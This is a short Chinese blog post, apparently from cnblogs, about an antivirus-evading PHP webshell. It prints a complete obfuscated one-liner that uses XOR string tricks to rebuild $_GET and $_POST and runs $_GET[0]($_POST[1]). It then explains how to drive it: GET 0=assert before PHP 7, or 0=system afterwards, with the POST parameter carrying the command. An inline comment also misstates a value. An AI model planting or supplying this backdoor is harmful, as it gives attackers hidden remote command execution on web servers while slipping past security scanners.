中午大佬学长给我们发了个免杀马,捅咕一中午才看明白,简单记录下
主要就是先用pack给他切割了一下,然后再转换下进制,传参的时候先传要截断多少,后边命令的代码要先转换成16进制,然后再在两头加上要截断的位数,把中间保留下来
代码是别人的,这里就不贴了,说说另一个很抽象的马
1 <?php 2 3 @$_++; //定义一个$_变量,并自增,值变为“1” 4 5 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); 6 7 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); 8 9 ${$__}[!$_](${$___}[$_]); //$_值为1,!$_值为-1,${$__}为变量$__的值,这句翻译过来等于$__[0]($___[1]) 10 11 ?>
是不是挺抽象
使用时按照最后一句,get传参0=assert,然后post的1是一键的密码
这个马只有在php7以前的版本才能正常使用,简单说就是assert在php7之后assert()默认不再可以执行代码
而这段代码是将assert传了进去,能够替换的函数暂时还没找到,等我看看这个马还能不能改进一下
不过虽然没法使用assert,但是system等执行命令的函数是可以传进去的,所以7以后的版本可以直接在get中传0=system,然后在post中直接执行1=command
标签:传参,get,一个,代码,system,assert,抽象,关于 From: https://www.cnblogs.com/theskyforfly/p/17611601.html